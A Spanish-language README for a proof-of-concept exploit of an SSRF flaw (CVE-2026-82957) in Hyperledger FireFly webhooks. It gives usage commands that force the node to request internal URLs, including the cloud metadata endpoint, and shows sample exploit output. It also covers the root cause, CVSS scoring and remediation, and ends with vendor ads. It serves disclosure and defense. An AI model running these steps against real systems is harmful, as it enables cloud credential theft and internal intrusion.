
Prueba de concepto de exploit para CVE-2026-82957, un SSRF en las suscripciones de webhook de Hyperledger FireFly que obliga al nodo a solicitar URL internas o de metadatos en la nube.
Un exploit de prueba de concepto para CVE-2026-82957, una Server-Side Request Forgery (CWE-918) en el transporte de eventos webhooks de Hyperledger FireFly Core. Cualquier cliente que pueda crear una suscripción a eventos puede registrar un webhook cuya URL de destino nunca se valida — cuando ocurre un evento coincidente, el propio nodo de FireFly emite la solicitud HTTP. Apuntarlo a direcciones solo internas (metadatos de la nube, loopback, servicios RFC1918) convierte al nodo en un confused deputy.
Solo la biblioteca estándar de Python 3 — sin dependencias.
$ python3 cve_2026_82957.py --help
Paso 1 — inicia un listener en la máquina a la que el nodo FireFly debería conectarse (la víctima de SSRF):
$ python3 -m http.server 8000 --bind 0.0.0.0
Paso 2 — ejecutar el exploit. -t es la URL base de la API de FireFly, -u es la URL que se forzará al nodo a solicitar:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Para un nodo FireFly que se ejecuta en Docker, <host-ip> es la puerta de enlace de la red bridge — encuéntrala con docker network inspect <network> (campo IPAM.Config.Gateway, p. ej. 172.21.0.1).
Salida esperada:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
Registro del listener — la IP de origen es la IP del contenedor del nodo FireFly, no la máquina del atacante, lo que demuestra que la solicitud fue falsificada por el servidor. SSRF confirmado:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181 ("Base implementation of webhooks invocation", 2021-06-20)e3c9b8d89 (main) — ningún commit entre ambos añade validación del hostArchivo: internal/events/webhooks/webhooks.go
| Línea | Código | Problema |
|---|---|---|
| 191 | url: options.GetString("url") | destino tomado literalmente de la entrada del usuario |
| 266 | ValidateOptions(...) | valida formato/cabeceras/timeouts pero nunca el host |
| 394 | req.r.Execute(req.method, req.url) | se dispara la petición |
No existe una lista de permitidos/denegados sobre el destino resuelto: no hay bloqueo para direcciones loopback, privadas (RFC1918) ni link-local (169.254.0.0/16), y tanto el host como el esquema están totalmente controlados por el atacante. FireFly no incluye ningún plugin de autenticación de API por defecto, por lo que la creación de suscripciones puede ser no autenticada.
POST /api/v1/namespaces/{ns}/subscriptions — crea el webhook malicioso (devuelve 201 Created para URLs internas)POST /api/v1/namespaces/{ns}/messages/broadcast) — desencadena la petición falsificadaCWE-918 Server-Side Request Forgery. Un atacante puede:
169.254.169.254) → escalada hacia la cuenta de la nube"reply": true la respuesta interna se devuelve al atacante como un evento de FireFly — no es ciego~8.5 Alta CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — la severidad depende de si la API está detrás de autenticación.
En ValidateOptions, analizar la URL, resolver el host y rechazar direcciones loopback/privadas/link-local/no especificadas; restringir el esquema a http/https; volver a comprobar la IP resuelta en el momento de la conexión (un DialContext personalizado) para derrotar el DNS-rebinding; preferiblemente exponer una lista de permitidos configurable de hosts de webhook permitidos.
Esta herramienta es solo para fines educativos y de investigación. Úsela únicamente en sistemas que posea o para los que tenga permiso explícito de probar. El autor no es responsable de ningún uso indebido o daño causado por este programa.
QuimeraX Intelligence es una plataforma avanzada de EASM y Cyber Threat Intelligence especializada en identificar vulnerabilidades críticas en sistemas complejos. La plataforma monitorea, detecta y alerta proactivamente a los clientes sobre amenazas de seguridad, garantizando transparencia y una respuesta rápida ante riesgos potenciales. Los clientes reciben notificaciones inmediatas e informes completos si se descubre que sus sistemas son vulnerables, lo que les permite tomar medidas protectoras. más información
Hakai Security es una empresa de ciberseguridad fundada por profesionales de la seguridad, comprometida con la excelencia técnica. Ofrecemos soluciones de seguridad a medida que incluyen pruebas de penetración avanzadas, simulaciones realistas de Red Team y prácticas de desarrollo seguro para proteger proactivamente los activos de nuestros clientes frente a amenazas cibernéticas en evolución.
Hacking Club es la plataforma de formación donde aprendes ciberseguridad mediante lecciones prácticas, laboratorios y desafíos creados por expertos que trabajan en nuestra firma de consultoría de seguridad: directamente desde el campo de batalla hasta tu formación.